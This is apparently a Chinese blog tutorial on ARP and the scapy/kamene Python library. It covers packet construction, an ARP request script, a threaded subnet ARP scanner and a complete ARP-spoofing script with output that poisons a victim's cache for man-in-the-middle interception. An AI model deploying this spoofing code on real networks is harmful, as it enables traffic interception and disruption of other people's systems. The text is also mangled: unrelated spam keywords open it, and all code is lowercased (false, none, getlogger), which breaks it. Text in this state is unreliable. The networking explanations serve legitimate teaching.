交通工具发展史,华人城美图,印度黑魔法
目录
首先,先回忆下tcp/ip
模型,从下到上分为:数据链路层、网络层、传输层、应用层,那么arp
到底属于哪一层?有人会说是网络层,但实际是属于数据链路层,只不过还要为网络层提供服务。
arp
的主要用途是ip(32bit)
地址到物理mac(48bit)
地址的映射关系。别看表面主机知道了远端ip地址就可以通信,实则先要知道远端的mac地址(借助arp),通过网卡到交换机构建数据链路层通信,再通过上层进行数据交互。
另外,你可能会了解到代理arp、免费arp、rarp这些,其中你都能搞明白他们工作原理是怎么样的嘛?
这里咱们简单回顾一下:
arp
请求;arp
请求报文,用于检测ip
冲突、硬件地址变更触发免费arp;arp
相反,主要用于无盘工作站,请求物理mac(48bit)
地址到ip(32bit)
地址的映射;scapy是一个python语言编写的工具,也是一个强大的交付式数据包处理程序,能够伪造或者解码大量的网络协议数据包,能够发送、嗅探、剖析和伪造网络数据包,如端口扫描、路由跟踪、探测、攻击或网络发现等。使用scapy可以替代hping、arpspoof、arp-sk、arping、p0f等功能,甚至可以代替nmap、tcpdump和tshark的部分功能。此外,scapy还有很多其他工具没有的特性,如发送无效数据帧、注入修改的802.11数据帧、在web上解码加密通道(voip)、arp缓存攻击(vlan)等。
scapy的主要功能如下:
收发数据包介绍:
作为网工,你是不是经常抓包来分析某协议头部结构,现在就可以用scapy来构造发送数据包啦。
在python3的环境下,现在叫法是 kamene,之前叫做scapy。
pip3 install -i https://pypi.douban.com/simple/ kamene #使用豆瓣源进行安装kamene
说明:强烈建议在linux环境下安装及测试(我用的是ubuntu 16)。
#安装好后,直接通过kamene进入,类似python交互式界面 root@ubuntu:~# kamene warning: no route found for ipv6 destination :: (no default route?). this affects only ipv6 info: please, report issues to https://github.com/phaethon/kamene warning: ipython not available. using standard python shell instead. welcome to kamene (3.0.0) >>>
>>> ether() <ether |> >>> _.show() #'_' 下划线表示上一条命令执行的结果,通过show()展示结果 ###[ ethernet ]### warning: mac address to reach destination not found. using broadcast. dst= ff:ff:ff:ff:ff:ff src= 00:00:00:00:00:00 type= 0x9000
>>> icmp() <icmp |> >>> _.show() ###[ icmp ]### type= echo-request code= 0 chksum= none id= 0x0 seq= 0x0
>>> ip() <ip |> >>> _.show() ###[ ip ]### version= 4 ihl= none tos= 0x0 len= none id= 1 flags= frag= 0 ttl= 64 proto= ip chksum= none src= 127.0.0.1 dst= 127.0.0.1 \options\
>>> tcp() <tcp |> >>> _.show() ###[ tcp ]### sport= ftp_data dport= http seq= 0 ack= 0 dataofs= none reserved= 0 flags= s window= 8192 chksum= none urgptr= 0 options= {} >>> udp() <udp |> >>> _.show() ###[ udp ]### sport= domain dport= domain len= none chksum= none
#通过 '/' 可叠加多个协议层(左底层到由上层),如ether()/ip()/udp()/dns() >>> p = sr1(ip(src='192.168.8.128' , dst='192.168.8.254')/icmp()/b'this is a icmp packet') begin emission: ..finished to send 1 packets. * received 3 packets, got 1 answers, remaining 0 packets >>> p.show() ###[ ip ]### version= 4 ihl= 5 tos= 0x0 len= 49 id= 1909 flags= frag= 0 ttl= 128 proto= icmp chksum= 0xa088 src= 192.168.8.254 dst= 192.168.8.128 \options\ ###[ icmp ]### type= echo-reply #收到一个replay包 code= 0 chksum= 0x55ad id= 0x0 seq= 0x0 ###[ raw ]### load= 'this is a icmp packet'
先看下arp包的格式:
>>> arp() <arp |> >>> _.show() ###[ arp ]### hwtype= 0x1 ptype= 0x800 #协议号 hwlen= 6 plen= 4 op= who-has #op=1表示request,op=2表示response hwsrc= 00:0c:29:5d:2f:55 #源mac地址 psrc= 192.168.8.128 #源ip地址 hwdst= 00:00:00:00:00:00 #初始目的为广播地址 pdst= 0.0.0.0 #缺省为空
简单构造 arp 请求包:
>>> p = sr1(arp(psrc='192.168.8.128',pdst='192.168.8.254')) begin emission: .*finished to send 1 packets. received 2 packets, got 1 answers, remaining 0 packets >>> p.show() ###[ arp ]### hwtype= 0x1 ptype= 0x800 hwlen= 6 plen= 4 op= is-at hwsrc= 00:50:56:e7:d0:87 psrc= 192.168.8.254 hwdst= 00:0c:29:5d:2f:55 #返回的是arp响应包,获取到目的映射的mac地址 pdst= 192.168.8.128 ###[ padding ]### load= '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
接下来,咱们玩点复杂的。。。
#!/usr/bin/env python3 #-*- coding:utf-8 -*- #欢迎关注微信公众号:点滴技术 #这里有靠谱、有价值的、免费分享、成长的,专属于网络攻城狮的。 import logging logging.getlogger("kamene.runtime").setlevel(logging.error) # 清除报错 from kamene.all import * from tools.get_address import get_ip_address # 获取本机ip地址 from tools.get_address import get_mac_address # 获取本机mac地址 from tools.scapy_iface import scapy_iface # 获取scapy iface的名字 def arp_request(dst_addr, ifname): # 获取本机ip地址 local_ip = get_ip_address(ifname) # 获取本机mac地址 local_mac = get_mac_address(ifname) try: # 发送arp请求并等待响应 #op=1表示请求,op=2表示响应 #当op=1,hwsrc=表示本地mac,hwdst表示广播(首包),psrc表示本地ip,pdst表示目的ip result_raw = sr1(arp(op=1, hwsrc=local_mac, hwdst='00:00:00:00:00:00', psrc=local_ip, pdst=dst_addr), iface=scapy_iface(ifname), timeout=1, verbose=false) print(result_raw.show()) #返回目的ip地址,和目的mac地址,getlayer(arp)取整个arp数据包, return dst_addr, result_raw.getlayer(arp).fields.get('hwsrc') except attributeerror: return dst_addr, none if __name__ == "__main__": # windows linux均可使用 # arp_result = arp_request('192.168.100.1', "wlan") arp_result = arp_request('192.168.8.254', "ens32") print("ip地址:", arp_result[0], "mac地址:", arp_result[1])
运行结果如下:
ip地址: 192.168.8.254 mac地址: 00:50:56:e7:d0:87
#!/usr/bin/env python3 #-*- coding:utf-8 -*- #欢迎关注微信公众号:点滴技术 #这里有靠谱、有价值的、免费分享、成长的,专属于网络攻城狮的空间 import logging logging.getlogger("kamene.runtime").setlevel(logging.error) import ipaddress from multiprocessing.pool import threadpool #多线程 from arp_request import arp_request #返回ip 和 mac def arp_scan(network,ifname): #要扫描的网段 net = ipaddress.ip_network(network , strict=false) #空列表,存放字符串ip地址 ip_list = [] for ip in net: ip_list.append(str(ip)) #ip格式转为str,放入ip_list pool = threadpool(processes=100) #线程池并发100 result = [] for i in ip_list: result.append(pool.apply_async(arp_request , args=(i,ifname))) pool.close() pool.join() #存放活跃的ip与mac的字典 scan_dict = {} for r in result: if r.get()[1] is not none: scan_dict[r.get()[0]] = r.get()[1] # print(scan_dict) return scan_dict if __name__ == '__main__': net = '192.168.8.0/24' name = 'ens32' import time start_time = time.time() print("活动ip地址如下:") for ip , mac in arp_scan(network=net,ifname=name).items(): print("ip地址: {} 是活动的,mac地址是 {}".format(ip , mac)) end_time = time.time() print('本次扫描花费时间:%.2f' % (end_time - start_time))
运行结果如下:
活动ip地址如下: ip地址: 192.168.8.1 是活动的,mac地址是 00:50:56:c0:00:08 ip地址: 192.168.8.254 是活动的,mac地址是 00:50:56:e7:d0:87 本次扫描花费时间:14.52
#!/usr/bin/env python3 #-*- coding:utf-8 -*- #欢迎关注微信公众号:点滴技术 #这里有靠谱、有价值的、免费分享、成长的,属于网络攻城狮的空间 import logging logging.getlogger("kamene.runtime").setlevel(logging.error) # 清除报错 from kamene.all import * from tools.get_address import get_ip_address # 导入获取本机ip地址方法 from tools.get_address import get_mac_address # 导入获取本机mac地址方法 from arp_request import arp_request # 导入之前创建的arp请求脚本 from tools.scapy_iface import scapy_iface # 获取scapy iface的名字 import time import signal def arp_spoof(ip_1,ip_2,ifname='ens35'): # 申明全局变量 global localip, localmac, dst_1_ip , dst_1_mac, dst_2_ip , dst_2_mac , local_ifname #赋值到全局变量 #dst_1_ip为被毒化arp设备的ip地址,dst_ip_2为本机伪装设备的ip地址 #local_ifname为攻击者使用的网口名字 dst_1_ip, dst_2_ip, local_ifname= ip_1, ip_2, ifname # 获取本机ip和mac地址,并且赋值到全局变量 localip, localmac= get_ip_address(ifname), get_mac_address(ifname) # 获取被欺骗ip_1的mac地址,真实网关ip_2的mac地址 dst_1_mac, dst_2_mac = arp_request(ip_1,ifname)[1], arp_request(ip_2,ifname)[1] # 引入信号处理机制,如果出现ctl+c(signal.sigint),使用sigint_handler这个方法进行处理 signal.signal(signal.sigint, sigint_handler) while true: # 一直攻击,直到ctl+c出现!!! # op=2,响应arp sendp(ether(src=localmac, dst=dst_1_mac) / arp(op=2, hwsrc=localmac, hwdst=dst_1_mac, psrc=dst_2_ip, pdst=dst_1_ip), iface=scapy_iface(local_ifname), verbose=false) print("发送arp欺骗数据包!欺骗{} , {}的mac地址已经是我本机{}的mac地址啦!!!".format(ip_1,ip_2,ifname)) time.sleep(1) # 定义处理方法 def sigint_handler(signum, frame): # 申明全局变量 global localip, localmac, dst_1_ip , dst_1_mac, dst_2_ip , dst_2_mac , local_ifname print("\n执行恢复操作!!!") # 发送arp数据包,恢复被毒化设备的arp缓存 sendp(ether(src=dst_2_mac, dst=dst_1_mac) / arp(op=2, hwsrc=dst_2_mac, hwdst=dst_1_mac, psrc=dst_2_ip, pdst=dst_1_ip), iface=scapy_iface(local_ifname), verbose=false) print("已经恢复 {} 的arp缓存啦".format(dst_1_ip)) # 退出程序,跳出while true sys.exit() if __name__ == "__main__": # 欺骗192.168.1.101,让它认为192.168.1.102的mac地址为本机攻击者的mac #如果攻击者没有路由通信就会中断,如有路由就可以窃取双方通信的信息(所谓中间人) arp_spoof('192.168.1.101' , '192.168.1.102' , 'ens35')
运行结果如下:
发送arp欺骗数据包!欺骗192.168.1.101 , 192.168.1.102的mac地址已经是我本机ens35的mac地址啦!!! 发送arp欺骗数据包!欺骗192.168.1.101 , 192.168.1.102的mac地址已经是我本机ens35的mac地址啦!!! 发送arp欺骗数据包!欺骗192.168.1.101 , 192.168.1.102的mac地址已经是我本机ens35的mac地址啦!!! 发送arp欺骗数据包!欺骗192.168.1.101 , 192.168.1.102的mac地址已经是我本机ens35的mac地址啦!!! 发送arp欺骗数据包!欺骗192.168.1.101 , 192.168.1.102的mac地址已经是我本机ens35的mac地址啦!!! ^c 执行恢复操作!!! 已经恢复 192.168.1.101 的arp缓存啦
arp高速缓存表被欺骗前后效果图:
备注:持续发送arp响应包,设备收到最新的就会更新本地arp缓存表,所以arp安全性太低了。
附录**:
官方学习资源 https://scapy.net/ http://github.com/phaethon/kamene
如果喜欢的我的文章,欢迎关注我的公众号:点滴技术,扫码关注,不定期分享
如对本文有疑问,请在下面进行留言讨论,广大热心网友会与你互动!! 点击进行留言回复
python求numpy中array按列非零元素的平均值案例
网友评论